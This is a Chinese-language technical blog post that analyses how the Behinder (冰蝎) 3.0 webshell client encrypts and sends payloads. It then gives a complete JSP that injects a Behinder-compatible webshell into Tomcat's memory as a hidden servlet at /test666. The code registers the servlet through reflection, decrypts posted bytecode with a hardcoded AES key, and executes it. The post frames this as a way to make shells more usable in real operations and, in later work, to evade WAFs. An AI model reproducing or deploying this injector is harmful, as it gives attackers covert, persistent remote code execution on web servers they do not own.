注入冰蝎内存马实现

​ 通过之前的文章,我们了解了servlet和filter类型的内存马的实现,但是实现的是cmd马,在实战的过程中会有两个问题。1.不方便操作使用.2.比较难过WAF的查杀。本片文章我先解决一下第一个问题,将冰蝎马注入到内存。

冰蝎马实现

客户端实现

​ 由于静态分析比较麻烦,所以我选择直接debug调试,这里感谢https://github.com/Freakboy/Behinder给出了可以直接运行的冰蝎3.0源码,有了源码可以方便调试并且根据需求对冰蝎进行二次开发。

发送请求

     我选择了文件上传的操作来分析冰蝎的执行过程,上传操作由vip.youwe.sheller.ui.controller.FileManagerViewController#uploadFile实现,首先获取的需要上传的文件名,再通过`Utils.getFileData(selectdFile.getAbsolutePath())`获取需要上传的内容,最后通过` this.currentShellService.uploadFile(currentPath + fileName, fileContent);`执行真正的上传逻辑。 

image-20210104200400375

​ 创建LinkedHashMap,将mode、path、content的内容分别赋值为create、远程文件地址、文件内容,调用Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);

image-20210104201133062

​ 在vip.youwe.sheller.utils.Utils#getData(java.lang.String, int, java.lang.String, java.util.Map<java.lang.String,java.lang.String>, java.lang.String, byte[])中首先判断type是否为jsp,设置了classname为vip.youwe.sheller.payload.java.FileOperation,调用了Params.getParamedClass(className, params);

image-20210104202236081

​ vip.youwe.sheller.core.Params#getParamedClass通过ASM修改字节码的方式修改vip.youwe.sheller.payload.java.FileOperation字节码,对其中的mode、path、content属性进行修改,并将修改后的class字节码转换为byte[]返回。

image-20210104202457148

​ getParamedClass执行结束后,调用Crypt.Encrypt(bincls, key)对返回的字节码进行AES加密。

image-20210104203932657

image-20210104204209133

​ 将AES加密的FileOperation字节码通过base64编码,再转换为byte[]返回。

image-20210104204349734

​ uploadFile中获取加密的内容后的内容后保存data中,通过 Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);发送data。

image-20210104204640350

image-20210104204751479

​ vip.youwe.sheller.utils.Utils#sendPostRequestBinary设置请求的地址,header,将传入的data发送到服务端。

image-20210104204945951

接收请求

​ 获取返回内容,将返回内容保存到data属性中,并设置header和status属性到result中。

image-20210104205432759

image-20210104205501589

      requestAndParse中判断是否配置了额外追加的内容,如果没有则按原来的内容写入data属性并返回。

image-20210105091901459

​ 回到uploadFile方法,将接收的内容转换为byte[],调用Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType)解密。

image-20210105092141005

​ vip.youwe.sheller.core.Crypt#Decrypt中调用vip.youwe.sheller.core.Crypt#DecryptForJava解密。

image-20210105092342257

​ 使用AES算法解密,将解密的内容转换为字符串,最终通过base64解码获取到返回结果。

image-20210105092444335

image-20210105092550558

​ 回到vip.youwe.sheller.ui.controller.FileManagerViewController#uploadFile中,获取status和msg的内容,根据status的内容判断是否上传成功。

image-20210105092833304

​ 客户端的执行过程分析完毕,总结一下流程。

  • 获取需要上传的文件名和文件内容
  • 通过ASM机制修改FileOperation字节码,修改其中的mode、path、content参数内容
  • 将修改后的FileOperation字节码转换为byte[],并调用Crypt.Encrypt(bincls, key)对FileOperation字节码进行AES加密,并将加密的结果base64编码
  • 将加密的内容以post的形式发送给服务端
  • 接收响应内容,对响应的内容进行AES解密,再将解密后的内容进行base64解码。

服务端实现

​ 再分析下服务端的代码实现,首先定义了一个类,类名为U这个类继承了ClassLoader,构造方法为调用父类的构造方法,方法g是调用父类的defineClass方法,defineClass方法可以将字节码转换为类。

1
2
3
4
5
6
7
8
9
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}%>
1
2
3
4
5
6
7
8
9
10
<%
if (request.getMethod().equals("POST")){ //判断请求类型
String k="e45e329feb5d925b";
session.putValue("u",k); //将key写入到session
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES")); //初始化AES解码器
new U(this.getClass().getClassLoader()).g(
c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())) //将接收的内容base64解码后进行aes解密
) //创建ClassLoader对象,并调用ClassLoader.defineClass方法将接收的字节码转换为class类。
.newInstance().equals(pageContext);}%> //创建该类对象并调用该对象的equals方法

​ 假如我客户端传入的是FileOperation的字节码,看下FileOperation类中equals方法的内容。在vip.youwe.sheller.payload.java.FileOperation#equals中,首先从传入的pageContext对象中获取到了session、request、response对象。因为我们之前传入的mode参数是create,所以会调用create(page)方法。

image-20210105100906831

​ vip.youwe.sheller.payload.java.FileOperation#create中,通过path参数判断需要上传的文件路径,将content的内容base64解码后写入。并将返回的内容写入到msg参数中,

image-20210105101052540

image-20210105101213611

​ 从response对象中获取输出流,将result的内容加密后返回。

image-20210105101308183

​ vip.youwe.sheller.payload.java.FileOperation#Encrypt方法,从session中获取key,利用key将内容进行aes加密。

image-20210105101413988

冰蝎内存马实践

​ 通过上面的分析,只要在注入的内存马中实现服务端的功能即可,服务端功能如下:

  • 获取defineClass对象并调用defineClass将接收的内容转换为class类。
  • 将key写入到session
  • 将接收的内容进行base64解码后进行AES解密
  • 创建传入的class类的对象,并调用对象的equals方法,在调用的同时传入pageContext对象。

代码和原服务端的代码改动不大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.management.MBeanServer" %>
<%@ page import="org.apache.tomcat.util.modeler.Registry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.jmx.mbeanserver.NamedObject" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="org.apache.catalina.core.StandardService" %>
<%@ page import="org.apache.catalina.mapper.Mapper" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="org.apache.catalina.core.ContainerBase" %>
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@page import="java.security.GeneralSecurityException"%>
<%@page import="java.security.NoSuchAlgorithmException"%>
<%@page import="javax.crypto.Cipher"%>


<%@page import="java.security.InvalidKeyException"%>
<%@page import="java.security.NoSuchAlgorithmException"%>


<html>
<head>
<title>servletContext</title>
</head>
<body>
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}%>
<%
class TomcatServlet extends HttpServlet {

@Override
public void init() throws ServletException {
}


@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String value=req.getParameter("sectest666");
if(value!=null) {
if (value.equals("unload")) {
try {
//获取servletContext
ServletContext servletContext = req.getServletContext();
//获取applicationContext
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);
//获取standardContext
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
StandardContext standardContext = (StandardContext) contextField.get(applicationContext);
Field serviceF = null;
serviceF = applicationContext.getClass().getDeclaredField("service");
serviceF.setAccessible(true);
StandardService service = (StandardService) serviceF.get(applicationContext);
Mapper mapper = service.getMapper();
Field contextObjectToContextVersionMapF = null;
contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
contextObjectToContextVersionMapF.setAccessible(true);
ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap) contextObjectToContextVersionMapF.get(mapper);
Object contextVersion = contextObjectToContextVersionMap.get(standardContext);
Class[] classes = mapper.getClass().getDeclaredClasses();
Class contextversionClass = classes[1];
Method removeWrapper = null;
removeWrapper = mapper.getClass().getDeclaredMethod("removeWrapper", contextversionClass, String.class);
removeWrapper.setAccessible(true);
removeWrapper.invoke(mapper, contextVersion, "/test666");
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}

}
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String k = "e45e329feb5d925b";
HttpSession session = req.getSession();
session.setAttribute("u", k);
Cipher c = null;
try {
c = Cipher.getInstance("AES");
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
} catch (NoSuchPaddingException e) {
e.printStackTrace();
}
try {
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
} catch (InvalidKeyException e) {
e.printStackTrace();
}
javax.servlet.jsp.PageContext pageContext = javax.servlet.jsp.JspFactory.getDefaultFactory().getPageContext(this, req, resp, null, true, 8192, true);
try {
new U(this.getClass().getClassLoader()).g(
c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(req.getReader().readLine()))).newInstance().equals(pageContext);
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (IllegalBlockSizeException e) {
e.printStackTrace();
} catch (BadPaddingException e) {
e.printStackTrace();
}
}


@Override
public void destroy() {
super.destroy();
}

}
%>

<%
try {
//获取servletContext
javax.servlet.ServletContext servletContext=request.getServletContext();

//获取applicationContext
java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
//获取standardContext
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);

Field serviceF = applicationContext.getClass().getDeclaredField("service");
serviceF.setAccessible(true);
StandardService service = (StandardService) serviceF.get(applicationContext);
Mapper mapper = service.getMapper();
Field contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
contextObjectToContextVersionMapF.setAccessible(true);
ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap ) contextObjectToContextVersionMapF.get(mapper);
Object contextVersion = contextObjectToContextVersionMap.get(standardContext);
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
Wrapper wrapper = (Wrapper) standardContext.findChild("test");
if(wrapper ==null) {
TomcatServlet tomcatServlet=new TomcatServlet();
StandardWrapper wrappershell = (StandardWrapper) standardContext.createWrapper();
Field instanceF = wrappershell.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
instanceF.set(wrappershell,tomcatServlet);
wrappershell.setServletClass("TomcatServlet");
Field parent = ContainerBase.class.getDeclaredField("parent");
parent.setAccessible(true);
parent.set(wrappershell, standardContext);
wrappershell.addMapping("/test666");
Class[] classes = mapper.getClass().getDeclaredClasses();
Class contextversionClass = classes[1];
Method addWrapper = mapper.getClass().getDeclaredMethod("addWrapper", contextversionClass, String.class, Wrapper.class, boolean.class, boolean.class);
addWrapper.setAccessible(true);
addWrapper.invoke(mapper, contextVersion, "/test666", wrappershell, false, false);
out.println("Servlet has been Inject,please visit /test666 to access shell and visit /test666?sectest666=unload to unload shell!!!");
}
}catch (Exception e){
e.printStackTrace();
}
%>
</body>
</html>

​ 效果如下:

image-20210105133641319

image-20210105133705533

​ 访问unload接口删除内存马

image-20210105133734706